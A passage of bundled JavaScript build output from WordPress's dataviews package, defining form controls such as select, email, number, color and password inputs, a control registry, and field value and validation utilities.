37130 style: { width: "100%" },
37131 selected: selectedRange,
37132 onSelect: onSelectCalendarRange,
37133 month: calendarMonth,
37134 onMonthChange: setCalendarMonth,
37135 timeZone: timezone.string || void 0,
37136 weekStartsOn
37137 }
37138 )
37139 ] })
37140 }
37141 )
37142 }
37143 );
37144 }
37145 function DateControl({
37146 data,
37147 field,
37148 onChange,
37149 hideLabelFromVision,
37150 markWhenOptional,
37151 operator,
37152 validity
37153 }) {
37154 if (operator === OPERATOR_IN_THE_PAST || operator === OPERATOR_OVER) {
37155 return /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37156 RelativeDateControl,
37157 {
37158 className: "dataviews-controls__date",
37159 data,
37160 field,
37161 onChange,
37162 hideLabelFromVision,
37163 operator
37164 }
37165 );
37166 }
37167 if (operator === OPERATOR_BETWEEN) {
37168 return /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37169 CalendarDateRangeControl,
37170 {
37171 data,
37172 field,
37173 onChange,
37174 hideLabelFromVision,
37175 markWhenOptional,
37176 validity
37177 }
37178 );
37179 }
37180 return /* @__PURE__ */ (0, import_jsx_runtime232.jsx)(
37181 CalendarDateControl,
37182 {
37183 data,
37184 field,
37185 onChange,
37186 hideLabelFromVision,
37187 markWhenOptional,
37188 validity
37189 }
37190 );
37191 }
37192
37193 // packages/dataviews/build-module/components/dataform-controls/select.mjs
37194 var import_components124 = __toESM(require_components(), 1);
37195 var import_element109 = __toESM(require_element(), 1);
37196 var import_jsx_runtime233 = __toESM(require_jsx_runtime(), 1);
37197 var { ValidatedSelectControl } = unlock3(import_components124.privateApis);
37198 function Select({
37199 data,
37200 field,
37201 onChange,
37202 hideLabelFromVision,
37203 markWhenOptional,
37204 validity
37205 }) {
37206 const { type, label, description, getValue, setValue, isValid: isValid2 } = field;
37207 const isMultiple = type === "array";
37208 const value = getValue({ item: data }) ?? (isMultiple ? [] : "");
37209 const onChangeControl = (0, import_element109.useCallback)(
37210 (newValue) => onChange(setValue({ item: data, value: newValue })),
37211 [data, onChange, setValue]
37212 );
37213 const { elements: elements2, isLoading } = useElements({
37214 elements: field.elements,
37215 getElements: field.getElements
37216 });
37217 if (isLoading) {
37218 return /* @__PURE__ */ (0, import_jsx_runtime233.jsx)(import_components124.Spinner, {});
37219 }
37220 return /* @__PURE__ */ (0, import_jsx_runtime233.jsx)(
37221 ValidatedSelectControl,
37222 {
37223 required: !!field.isValid?.required,
37224 markWhenOptional,
37225 customValidity: getCustomValidity(isValid2, validity),
37226 label,
37227 value,
37228 help: description,
37229 options: elements2,
37230 onChange: onChangeControl,
37231 __next40pxDefaultSize: true,
37232 hideLabelFromVision,
37233 multiple: isMultiple
37234 }
37235 );
37236 }
37237
37238 // packages/dataviews/build-module/components/dataform-controls/adaptive-select.mjs
37239 var import_jsx_runtime234 = __toESM(require_jsx_runtime(), 1);
37240 var ELEMENTS_THRESHOLD = 10;
37241 function AdaptiveSelect(props) {
37242 const { field } = props;
37243 const { elements: elements2 } = useElements({
37244 elements: field.elements,
37245 getElements: field.getElements
37246 });
37247 if (elements2.length >= ELEMENTS_THRESHOLD) {
37248 return /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(Combobox3, { ...props });
37249 }
37250 return /* @__PURE__ */ (0, import_jsx_runtime234.jsx)(Select, { ...props });
37251 }
37252
37253 // packages/dataviews/build-module/components/dataform-controls/email.mjs
37254 var import_components126 = __toESM(require_components(), 1);
37255
37256 // packages/dataviews/build-module/components/dataform-controls/utils/validated-input.mjs
37257 var import_components125 = __toESM(require_components(), 1);
37258 var import_element110 = __toESM(require_element(), 1);
37259 var import_jsx_runtime235 = __toESM(require_jsx_runtime(), 1);
37260 var { ValidatedInputControl: ValidatedInputControl2 } = unlock3(import_components125.privateApis);
37261 function ValidatedText({
37262 data,
37263 field,
37264 onChange,
37265 hideLabelFromVision,
37266 markWhenOptional,
37267 type,
37268 prefix: prefix2,
37269 suffix,
37270 validity
37271 }) {
37272 const { label, placeholder, description, getValue, setValue, isValid: isValid2 } = field;
37273 const value = getValue({ item: data });
37274 const onChangeControl = (0, import_element110.useCallback)(
37275 (newValue) => onChange(
37276 setValue({
37277 item: data,
37278 value: newValue
37279 })
37280 ),
37281 [data, setValue, onChange]
37282 );
37283 return /* @__PURE__ */ (0, import_jsx_runtime235.jsx)(
37284 ValidatedInputControl2,
37285 {
37286 required: !!isValid2.required,
37287 markWhenOptional,
37288 customValidity: getCustomValidity(isValid2, validity),
37289 label,
37290 placeholder,
37291 value: value ?? "",
37292 help: description,
37293 onChange: onChangeControl,
37294 hideLabelFromVision,
37295 type,
37296 prefix: prefix2,
37297 suffix,
37298 pattern: isValid2.pattern ? isValid2.pattern.constraint : void 0,
37299 minLength: isValid2.minLength ? isValid2.minLength.constraint : void 0,
37300 maxLength: isValid2.maxLength ? isValid2.maxLength.constraint : void 0,
37301 __next40pxDefaultSize: true
37302 }
37303 );
37304 }
37305
37306 // packages/dataviews/build-module/components/dataform-controls/email.mjs
37307 var import_jsx_runtime236 = __toESM(require_jsx_runtime(), 1);
37308 function Email({
37309 data,
37310 field,
37311 onChange,
37312 hideLabelFromVision,
37313 markWhenOptional,
37314 validity
37315 }) {
37316 return /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(
37317 ValidatedText,
37318 {
37319 ...{
37320 data,
37321 field,
37322 onChange,
37323 hideLabelFromVision,
37324 markWhenOptional,
37325 validity,
37326 type: "email",
37327 prefix: /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(import_components126.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0, import_jsx_runtime236.jsx)(import_components126.Icon, { icon: envelope_default }) })
37328 }
37329 }
37330 );
37331 }
37332
37333 // packages/dataviews/build-module/components/dataform-controls/telephone.mjs
37334 var import_components127 = __toESM(require_components(), 1);
37335 var import_jsx_runtime237 = __toESM(require_jsx_runtime(), 1);
37336 function Telephone({
37337 data,
37338 field,
37339 onChange,
37340 hideLabelFromVision,
37341 markWhenOptional,
37342 validity
37343 }) {
37344 return /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(
37345 ValidatedText,
37346 {
37347 ...{
37348 data,
37349 field,
37350 onChange,
37351 hideLabelFromVision,
37352 markWhenOptional,
37353 validity,
37354 type: "tel",
37355 prefix: /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(import_components127.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0, import_jsx_runtime237.jsx)(import_components127.Icon, { icon: mobile_default }) })
37356 }
37357 }
37358 );
37359 }
37360
37361 // packages/dataviews/build-module/components/dataform-controls/url.mjs
37362 var import_components128 = __toESM(require_components(), 1);
37363 var import_jsx_runtime238 = __toESM(require_jsx_runtime(), 1);
37364 function Url({
37365 data,
37366 field,
37367 onChange,
37368 hideLabelFromVision,
37369 markWhenOptional,
37370 validity
37371 }) {
37372 return /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(
37373 ValidatedText,
37374 {
37375 ...{
37376 data,
37377 field,
37378 onChange,
37379 hideLabelFromVision,
37380 markWhenOptional,
37381 validity,
37382 type: "url",
37383 prefix: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_components128.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0, import_jsx_runtime238.jsx)(import_components128.Icon, { icon: link_default }) })
37384 }
37385 }
37386 );
37387 }
37388
37389 // packages/dataviews/build-module/components/dataform-controls/utils/validated-number.mjs
37390 var import_components129 = __toESM(require_components(), 1);
37391 var import_element111 = __toESM(require_element(), 1);
37392 var import_i18n117 = __toESM(require_i18n(), 1);
37393 var import_jsx_runtime239 = __toESM(require_jsx_runtime(), 1);
37394 var { ValidatedNumberControl } = unlock3(import_components129.privateApis);
37395 function toNumberOrEmpty(value) {
37396 if (value === "" || value === void 0) {
37397 return "";
37398 }
37399 const number = Number(value);
37400 return Number.isFinite(number) ? number : "";
37401 }
37402 function BetweenControls({
37403 value,
37404 onChange,
37405 hideLabelFromVision,
37406 step
37407 }) {
37408 const [min = "", max = ""] = value;
37409 const onChangeMin = (0, import_element111.useCallback)(
37410 (newValue) => onChange([toNumberOrEmpty(newValue), max]),
37411 [onChange, max]
37412 );
37413 const onChangeMax = (0, import_element111.useCallback)(
37414 (newValue) => onChange([min, toNumberOrEmpty(newValue)]),
37415 [onChange, min]
37416 );
37417 return /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
37418 import_components129.BaseControl,
37419 {
37420 help: (0, import_i18n117.__)("The max. value must be greater than the min. value."),
37421 children: /* @__PURE__ */ (0, import_jsx_runtime239.jsxs)(import_components129.Flex, { direction: "row", gap: 4, children: [
37422 /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
37423 import_components129.__experimentalNumberControl,
37424 {
37425 label: (0, import_i18n117.__)("Min."),
37426 value: min,
37427 max: max ? Number(max) - step : void 0,
37428 onChange: onChangeMin,
37429 __next40pxDefaultSize: true,
37430 hideLabelFromVision,
37431 step
37432 }
37433 ),
37434 /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
37435 import_components129.__experimentalNumberControl,
37436 {
37437 label: (0, import_i18n117.__)("Max."),
37438 value: max,
37439 min: min ? Number(min) + step : void 0,
37440 onChange: onChangeMax,
37441 __next40pxDefaultSize: true,
37442 hideLabelFromVision,
37443 step
37444 }
37445 )
37446 ] })
37447 }
37448 );
37449 }
37450 function ValidatedNumber({
37451 data,
37452 field,
37453 onChange,
37454 hideLabelFromVision,
37455 markWhenOptional,
37456 operator,
37457 validity
37458 }) {
37459 const decimals = field.format?.decimals ?? 0;
37460 const step = Math.pow(10, Math.abs(decimals) * -1);
37461 const { label, description, getValue, setValue, isValid: isValid2 } = field;
37462 const value = getValue({ item: data }) ?? "";
37463 const onChangeControl = (0, import_element111.useCallback)(
37464 (newValue) => {
37465 onChange(
37466 setValue({
37467 item: data,
37468 // Do not convert an empty string or undefined to a number,
37469 // otherwise there's a mismatch between the UI control (empty)
37470 // and the data relied by onChange (0).
37471 value: ["", void 0].includes(newValue) ? void 0 : Number(newValue)
37472 })
37473 );
37474 },
37475 [data, onChange, setValue]
37476 );
37477 const onChangeBetweenControls = (0, import_element111.useCallback)(
37478 (newValue) => {
37479 onChange(
37480 setValue({
37481 item: data,
37482 value: newValue
37483 })
37484 );
37485 },
37486 [data, onChange, setValue]
37487 );
37488 if (operator === OPERATOR_BETWEEN) {
37489 let valueBetween = ["", ""];
37490 if (Array.isArray(value) && value.length === 2 && value.every(
37491 (element) => typeof element === "number" || element === ""
37492 )) {
37493 valueBetween = value;
37494 }
37495 return /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
37496 BetweenControls,
37497 {
37498 value: valueBetween,
37499 onChange: onChangeBetweenControls,
37500 hideLabelFromVision,
37501 step
37502 }
37503 );
37504 }
37505 return /* @__PURE__ */ (0, import_jsx_runtime239.jsx)(
37506 ValidatedNumberControl,
37507 {
37508 required: !!isValid2.required,
37509 markWhenOptional,
37510 customValidity: getCustomValidity(isValid2, validity),
37511 label,
37512 help: description,
37513 value,
37514 onChange: onChangeControl,
37515 __next40pxDefaultSize: true,
37516 hideLabelFromVision,
37517 step,
37518 min: isValid2.min ? isValid2.min.constraint : void 0,
37519 max: isValid2.max ? isValid2.max.constraint : void 0
37520 }
37521 );
37522 }
37523
37524 // packages/dataviews/build-module/components/dataform-controls/integer.mjs
37525 var import_jsx_runtime240 = __toESM(require_jsx_runtime(), 1);
37526 function Integer(props) {
37527 return /* @__PURE__ */ (0, import_jsx_runtime240.jsx)(ValidatedNumber, { ...props });
37528 }
37529
37530 // packages/dataviews/build-module/components/dataform-controls/number.mjs
37531 var import_jsx_runtime241 = __toESM(require_jsx_runtime(), 1);
37532 function Number2(props) {
37533 return /* @__PURE__ */ (0, import_jsx_runtime241.jsx)(ValidatedNumber, { ...props });
37534 }
37535
37536 // packages/dataviews/build-module/components/dataform-controls/radio.mjs
37537 var import_components130 = __toESM(require_components(), 1);
37538 var import_element112 = __toESM(require_element(), 1);
37539 var import_jsx_runtime242 = __toESM(require_jsx_runtime(), 1);
37540 var { ValidatedRadioControl } = unlock3(import_components130.privateApis);
37541 function Radio({
37542 data,
37543 field,
37544 onChange,
37545 hideLabelFromVision,
37546 markWhenOptional,
37547 validity
37548 }) {
37549 const { label, description, getValue, setValue, isValid: isValid2 } = field;
37550 const { elements: elements2, isLoading } = useElements({
37551 elements: field.elements,
37552 getElements: field.getElements
37553 });
37554 const value = getValue({ item: data });
37555 const onChangeControl = (0, import_element112.useCallback)(
37556 (newValue) => onChange(setValue({ item: data, value: newValue })),
37557 [data, onChange, setValue]
37558 );
37559 if (isLoading) {
37560 return /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(import_components130.Spinner, {});
37561 }
37562 return /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
37563 ValidatedRadioControl,
37564 {
37565 required: !!field.isValid?.required,
37566 markWhenOptional,
37567 customValidity: getCustomValidity(isValid2, validity),
37568 label,
37569 help: description,
37570 onChange: onChangeControl,
37571 options: elements2,
37572 selected: value,
37573 hideLabelFromVision
37574 }
37575 );
37576 }
37577
37578 // packages/dataviews/build-module/components/dataform-controls/text.mjs
37579 var import_element113 = __toESM(require_element(), 1);
37580 var import_jsx_runtime243 = __toESM(require_jsx_runtime(), 1);
37581 function Text12({
37582 data,
37583 field,
37584 onChange,
37585 hideLabelFromVision,
37586 markWhenOptional,
37587 config: config2,
37588 validity
37589 }) {
37590 const { prefix: prefix2, suffix } = config2 || {};
37591 return /* @__PURE__ */ (0, import_jsx_runtime243.jsx)(
37592 ValidatedText,
37593 {
37594 ...{
37595 data,
37596 field,
37597 onChange,
37598 hideLabelFromVision,
37599 markWhenOptional,
37600 validity,
37601 prefix: prefix2 ? (0, import_element113.createElement)(prefix2) : void 0,
37602 suffix: suffix ? (0, import_element113.createElement)(suffix) : void 0
37603 }
37604 }
37605 );
37606 }
37607
37608 // packages/dataviews/build-module/components/dataform-controls/toggle.mjs
37609 var import_components131 = __toESM(require_components(), 1);
37610 var import_element114 = __toESM(require_element(), 1);
37611 var import_jsx_runtime244 = __toESM(require_jsx_runtime(), 1);
37612 var { ValidatedToggleControl } = unlock3(import_components131.privateApis);
37613 function Toggle({
37614 field,
37615 onChange,
37616 data,
37617 hideLabelFromVision,
37618 markWhenOptional,
37619 validity
37620 }) {
37621 const { label, description, getValue, setValue, isValid: isValid2 } = field;
37622 const onChangeControl = (0, import_element114.useCallback)(() => {
37623 onChange(
37624 setValue({ item: data, value: !getValue({ item: data }) })
37625 );
37626 }, [onChange, setValue, data, getValue]);
37627 return /* @__PURE__ */ (0, import_jsx_runtime244.jsx)(
37628 ValidatedToggleControl,
37629 {
37630 required: !!isValid2.required,
37631 markWhenOptional,
37632 customValidity: getCustomValidity(isValid2, validity),
37633 hidden: hideLabelFromVision,
37634 label,
37635 help: description,
37636 checked: getValue({ item: data }),
37637 onChange: onChangeControl
37638 }
37639 );
37640 }
37641
37642 // packages/dataviews/build-module/components/dataform-controls/textarea.mjs
37643 var import_components132 = __toESM(require_components(), 1);
37644 var import_element115 = __toESM(require_element(), 1);
37645 var import_jsx_runtime245 = __toESM(require_jsx_runtime(), 1);
37646 var { ValidatedTextareaControl } = unlock3(import_components132.privateApis);
37647 function Textarea({
37648 data,
37649 field,
37650 onChange,
37651 hideLabelFromVision,
37652 markWhenOptional,
37653 config: config2,
37654 validity
37655 }) {
37656 const { rows = 4 } = config2 || {};
37657 const { label, placeholder, description, setValue, isValid: isValid2 } = field;
37658 const value = field.getValue({ item: data });
37659 const onChangeControl = (0, import_element115.useCallback)(
37660 (newValue) => onChange(setValue({ item: data, value: newValue })),
37661 [data, onChange, setValue]
37662 );
37663 return /* @__PURE__ */ (0, import_jsx_runtime245.jsx)(
37664 ValidatedTextareaControl,
37665 {
37666 required: !!isValid2.required,
37667 markWhenOptional,
37668 customValidity: getCustomValidity(isValid2, validity),
37669 label,
37670 placeholder,
37671 value: value ?? "",
37672 help: description,
37673 onChange: onChangeControl,
37674 rows,
37675 minLength: isValid2.minLength ? isValid2.minLength.constraint : void 0,
37676 maxLength: isValid2.maxLength ? isValid2.maxLength.constraint : void 0,
37677 __next40pxDefaultSize: true,
37678 hideLabelFromVision
37679 }
37680 );
37681 }
37682
37683 // packages/dataviews/build-module/components/dataform-controls/toggle-group.mjs
37684 var import_components133 = __toESM(require_components(), 1);
37685 var import_element116 = __toESM(require_element(), 1);
37686 var import_jsx_runtime246 = __toESM(require_jsx_runtime(), 1);
37687 var { ValidatedToggleGroupControl } = unlock3(import_components133.privateApis);
37688 function ToggleGroup({
37689 data,
37690 field,
37691 onChange,
37692 hideLabelFromVision,
37693 markWhenOptional,
37694 validity
37695 }) {
37696 const { getValue, setValue, isValid: isValid2 } = field;
37697 const value = getValue({ item: data });
37698 const onChangeControl = (0, import_element116.useCallback)(
37699 (newValue) => onChange(setValue({ item: data, value: newValue })),
37700 [data, onChange, setValue]
37701 );
37702 const { elements: elements2, isLoading } = useElements({
37703 elements: field.elements,
37704 getElements: field.getElements
37705 });
37706 if (isLoading) {
37707 return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(import_components133.Spinner, {});
37708 }
37709 if (elements2.length === 0) {
37710 return null;
37711 }
37712 const selectedOption = elements2.find((el) => el.value === value);
37713 return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(
37714 ValidatedToggleGroupControl,
37715 {
37716 required: !!field.isValid?.required,
37717 markWhenOptional,
37718 customValidity: getCustomValidity(isValid2, validity),
37719 __next40pxDefaultSize: true,
37720 isBlock: true,
37721 label: field.label,
37722 help: selectedOption?.description || field.description,
37723 onChange: onChangeControl,
37724 value,
37725 hideLabelFromVision,
37726 children: elements2.map((el) => /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(
37727 import_components133.__experimentalToggleGroupControlOption,
37728 {
37729 label: el.label,
37730 value: el.value
37731 },
37732 el.value
37733 ))
37734 }
37735 );
37736 }
37737
37738 // packages/dataviews/build-module/components/dataform-controls/array.mjs
37739 var import_components134 = __toESM(require_components(), 1);
37740 var import_element117 = __toESM(require_element(), 1);
37741 var import_jsx_runtime247 = __toESM(require_jsx_runtime(), 1);
37742 var { ValidatedFormTokenField } = unlock3(import_components134.privateApis);
37743 function ArrayControl({
37744 data,
37745 field,
37746 onChange,
37747 hideLabelFromVision,
37748 markWhenOptional,
37749 validity
37750 }) {
37751 const { label, placeholder, getValue, setValue, isValid: isValid2 } = field;
37752 const value = getValue({ item: data });
37753 const { elements: elements2, isLoading } = useElements({
37754 elements: field.elements,
37755 getElements: field.getElements
37756 });
37757 const arrayValueAsElements = (0, import_element117.useMemo)(
37758 () => Array.isArray(value) ? value.map((token) => {
37759 const element = elements2?.find(
37760 (suggestion) => suggestion.value === token
37761 );
37762 return element || { value: token, label: token };
37763 }) : [],
37764 [value, elements2]
37765 );
37766 const onChangeControl = (0, import_element117.useCallback)(
37767 (tokens) => {
37768 const valueTokens = tokens.map((token) => {
37769 if (typeof token === "object" && "value" in token) {
37770 return token.value;
37771 }
37772 return token;
37773 });
37774 onChange(setValue({ item: data, value: valueTokens }));
37775 },
37776 [onChange, setValue, data]
37777 );
37778 if (isLoading) {
37779 return /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(import_components134.Spinner, {});
37780 }
37781 return /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
37782 ValidatedFormTokenField,
37783 {
37784 required: !!isValid2?.required,
37785 markWhenOptional,
37786 customValidity: getCustomValidity(isValid2, validity),
37787 label: hideLabelFromVision ? void 0 : label,
37788 value: arrayValueAsElements,
37789 onChange: onChangeControl,
37790 placeholder,
37791 suggestions: elements2?.map((element) => element.value),
37792 __experimentalValidateInput: (token) => {
37793 if (field.isValid?.elements && elements2) {
37794 return elements2.some(
37795 (element) => element.value === token || element.label === token
37796 );
37797 }
37798 return true;
37799 },
37800 __experimentalExpandOnFocus: elements2 && elements2.length > 0,
37801 __experimentalShowHowTo: !field.isValid?.elements,
37802 displayTransform: (token) => {
37803 if (typeof token === "object" && "label" in token) {
37804 return token.label;
37805 }
37806 if (typeof token === "string" && elements2) {
37807 const element = elements2.find(
37808 (el) => el.value === token
37809 );
37810 return element?.label || token;
37811 }
37812 return token;
37813 },
37814 __experimentalRenderItem: ({ item }) => {
37815 if (typeof item === "string" && elements2) {
37816 const element = elements2.find(
37817 (el) => el.value === item
37818 );
37819 return /* @__PURE__ */ (0, import_jsx_runtime247.jsx)("span", { children: element?.label || item });
37820 }
37821 return /* @__PURE__ */ (0, import_jsx_runtime247.jsx)("span", { children: item });
37822 }
37823 }
37824 );
37825 }
37826
37827 // packages/dataviews/build-module/components/dataform-controls/color.mjs
37828 var import_components135 = __toESM(require_components(), 1);
37829 var import_element118 = __toESM(require_element(), 1);
37830 var import_i18n118 = __toESM(require_i18n(), 1);
37831 var import_jsx_runtime248 = __toESM(require_jsx_runtime(), 1);
37832 var { ValidatedInputControl: ValidatedInputControl3 } = unlock3(import_components135.privateApis);
37833 var ColorPickerDropdown = ({
37834 color,
37835 onColorChange
37836 }) => {
37837 const validColor = color && w(color).isValid() ? color : "#ffffff";
37838 return /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(
37839 import_components135.Dropdown,
37840 {
37841 className: "dataviews-controls__color-picker-dropdown",
37842 popoverProps: { resize: false },
37843 renderToggle: ({ onToggle }) => /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(
37844 import_components135.Button,
37845 {
37846 onClick: onToggle,
37847 "aria-label": (0, import_i18n118.__)("Open color picker"),
37848 size: "small",
37849 icon: () => /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(import_components135.ColorIndicator, { colorValue: validColor })
37850 }
37851 ),
37852 renderContent: () => /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(import_components135.__experimentalDropdownContentWrapper, { paddingSize: "none", children: /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(
37853 import_components135.ColorPicker,
37854 {
37855 color: validColor,
37856 onChange: onColorChange,
37857 enableAlpha: true
37858 }
37859 ) })
37860 }
37861 );
37862 };
37863 function Color({
37864 data,
37865 field,
37866 onChange,
37867 hideLabelFromVision,
37868 markWhenOptional,
37869 validity
37870 }) {
37871 const { label, placeholder, description, setValue, isValid: isValid2 } = field;
37872 const value = field.getValue({ item: data }) || "";
37873 const handleColorChange = (0, import_element118.useCallback)(
37874 (newColor) => {
37875 onChange(setValue({ item: data, value: newColor }));
37876 },
37877 [data, onChange, setValue]
37878 );
37879 const handleInputChange = (0, import_element118.useCallback)(
37880 (newValue) => {
37881 onChange(setValue({ item: data, value: newValue || "" }));
37882 },
37883 [data, onChange, setValue]
37884 );
37885 return /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(
37886 ValidatedInputControl3,
37887 {
37888 required: !!field.isValid?.required,
37889 markWhenOptional,
37890 customValidity: getCustomValidity(isValid2, validity),
37891 label,
37892 placeholder,
37893 value,
37894 help: description,
37895 onChange: handleInputChange,
37896 hideLabelFromVision,
37897 type: "text",
37898 prefix: /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(import_components135.__experimentalInputControlPrefixWrapper, { variant: "control", children: /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(
37899 ColorPickerDropdown,
37900 {
37901 color: value,
37902 onColorChange: handleColorChange
37903 }
37904 ) })
37905 }
37906 );
37907 }
37908
37909 // packages/dataviews/build-module/components/dataform-controls/password.mjs
37910 var import_components136 = __toESM(require_components(), 1);
37911 var import_element119 = __toESM(require_element(), 1);
37912 var import_i18n119 = __toESM(require_i18n(), 1);
37913 var import_jsx_runtime249 = __toESM(require_jsx_runtime(), 1);
37914 function Password({
37915 data,
37916 field,
37917 onChange,
37918 hideLabelFromVision,
37919 markWhenOptional,
37920 validity
37921 }) {
37922 const [isVisible2, setIsVisible] = (0, import_element119.useState)(false);
37923 const toggleVisibility = (0, import_element119.useCallback)(() => {
37924 setIsVisible((prev) => !prev);
37925 }, []);
37926 return /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(
37927 ValidatedText,
37928 {
37929 ...{
37930 data,
37931 field,
37932 onChange,
37933 hideLabelFromVision,
37934 markWhenOptional,
37935 validity,
37936 type: isVisible2 ? "text" : "password",
37937 suffix: /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(import_components136.__experimentalInputControlSuffixWrapper, { variant: "control", children: /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(
37938 import_components136.Button,
37939 {
37940 icon: isVisible2 ? unseen_default : seen_default,
37941 onClick: toggleVisibility,
37942 size: "small",
37943 label: isVisible2 ? (0, import_i18n119.__)("Hide password") : (0, import_i18n119.__)("Show password")
37944 }
37945 ) })
37946 }
37947 }
37948 );
37949 }
37950
37951 // packages/dataviews/build-module/field-types/utils/has-elements.mjs
37952 function hasElements(field) {
37953 return Array.isArray(field.elements) && field.elements.length > 0 || typeof field.getElements === "function";
37954 }
37955
37956 // packages/dataviews/build-module/components/dataform-controls/index.mjs
37957 var import_jsx_runtime250 = __toESM(require_jsx_runtime(), 1);
37958 var FORM_CONTROLS = {
37959 adaptiveSelect: AdaptiveSelect,
37960 array: ArrayControl,
37961 checkbox: Checkbox,
37962 color: Color,
37963 combobox: Combobox3,
37964 datetime: DateTime,
37965 date: DateControl,
37966 email: Email,
37967 telephone: Telephone,
37968 url: Url,
37969 integer: Integer,
37970 number: Number2,
37971 password: Password,
37972 radio: Radio,
37973 select: Select,
37974 text: Text12,
37975 toggle: Toggle,
37976 textarea: Textarea,
37977 toggleGroup: ToggleGroup
37978 };
37979 function isEditConfig(value) {
37980 return value && typeof value === "object" && typeof value.control === "string";
37981 }
37982 function createConfiguredControl(config2) {
37983 const { control, ...controlConfig } = config2;
37984 const BaseControlType = getControlByType(control);
37985 if (BaseControlType === null) {
37986 return null;
37987 }
37988 return function ConfiguredControl(props) {
37989 return /* @__PURE__ */ (0, import_jsx_runtime250.jsx)(BaseControlType, { ...props, config: controlConfig });
37990 };
37991 }
37992 function getControl(field, fallback) {
37993 if (typeof field.Edit === "function") {
37994 return field.Edit;
37995 }
37996 if (typeof field.Edit === "string") {
37997 return getControlByType(field.Edit);
37998 }
37999 if (isEditConfig(field.Edit)) {
38000 return createConfiguredControl(field.Edit);
38001 }
38002 if (hasElements(field) && field.type !== "array") {
38003 return getControlByType("adaptiveSelect");
38004 }
38005 if (fallback === null) {
38006 return null;
38007 }
38008 return getControlByType(fallback);
38009 }
38010 function getControlByType(type) {
38011 if (Object.keys(FORM_CONTROLS).includes(type)) {
38012 return FORM_CONTROLS[type];
38013 }
38014 return null;
38015 }
38016
38017 // packages/dataviews/build-module/field-types/utils/get-filter-by.mjs
38018 function getFilterBy(field, defaultOperators, validOperators) {
38019 if (field.filterBy === false) {
38020 return false;
38021 }
38022 const operators = field.filterBy?.operators?.filter(
38023 (op) => validOperators.includes(op)
38024 ) ?? defaultOperators;
38025 if (operators.length === 0) {
38026 return false;
38027 }
38028 return {
38029 isPrimary: !!field.filterBy?.isPrimary,
38030 operators
38031 };
38032 }
38033 var get_filter_by_default = getFilterBy;
38034
38035 // packages/dataviews/build-module/field-types/utils/get-value-from-id.mjs
38036 var getValueFromId = (id) => ({ item }) => {
38037 const path = id.split(".");
38038 let value = item;
38039 for (const segment of path) {
38040 if (value.hasOwnProperty(segment)) {
38041 value = value[segment];
38042 } else {
38043 value = void 0;
38044 }
38045 }
38046 return value;
38047 };
38048 var get_value_from_id_default = getValueFromId;
38049
38050 // packages/dataviews/build-module/field-types/utils/set-value-from-id.mjs
38051 var setValueFromId = (id) => ({ value }) => {
38052 const path = id.split(".");
38053 const result = {};
38054 let current = result;
38055 for (const segment of path.slice(0, -1)) {
38056 current[segment] = {};
38057 current = current[segment];
38058 }
38059 current[path.at(-1)] = value;
38060 return result;
38061 };
38062 var set_value_from_id_default = setValueFromId;
38063
38064 // packages/dataviews/build-module/field-types/email.mjs
38065 var import_i18n120 = __toESM(require_i18n(), 1);
38066
38067 // packages/dataviews/build-module/field-types/utils/render-from-elements.mjs
38068 function RenderFromElements({
38069 item,
38070 field
38071 }) {
38072 const { elements: elements2, isLoading } = useElements({
38073 elements: field.elements,
38074 getElements: field.getElements
38075 });
38076 const value = field.getValue({ item });
38077 if (isLoading) {
38078 return value;
38079 }
38080 if (elements2.length === 0) {
38081 return value;
38082 }
38083 return elements2?.find((element) => element.value === value)?.label || field.getValue({ item });
38084 }
38085
38086 // packages/dataviews/build-module/field-types/utils/render-default.mjs
38087 var import_jsx_runtime251 = __toESM(require_jsx_runtime(), 1);
38088 function render({
38089 item,
38090 field
38091 }) {
38092 if (field.hasElements) {
38093 return /* @__PURE__ */ (0, import_jsx_runtime251.jsx)(RenderFromElements, { item, field });
38094 }
38095 return field.getValueFormatted({ item, field });
38096 }
38097
38098 // packages/dataviews/build-module/field-types/utils/sort-text.mjs
38099 var sort_text_default = (a2, b2, direction) => {
38100 return direction === "asc" ? a2.localeCompare(b2) : b2.localeCompare(a2);
38101 };
38102
38103 // packages/dataviews/build-module/field-types/utils/is-valid-required.mjs
38104 function isValidRequired(item, field) {
38105 const value = field.getValue({ item });
38106 return ![void 0, "", null].includes(value);
38107 }
38108
38109 // packages/dataviews/build-module/field-types/utils/is-valid-min-length.mjs
38110 function isValidMinLength(item, field) {
38111 if (typeof field.isValid.minLength?.constraint !== "number") {
38112 return false;
38113 }
38114 const value = field.getValue({ item });
38115 if ([void 0, "", null].includes(value)) {
38116 return true;
38117 }
38118 return String(value).length >= field.isValid.minLength.constraint;
38119 }
38120
38121 // packages/dataviews/build-module/field-types/utils/is-valid-max-length.mjs
38122 function isValidMaxLength(item, field) {
38123 if (typeof field.isValid.maxLength?.constraint !== "number") {
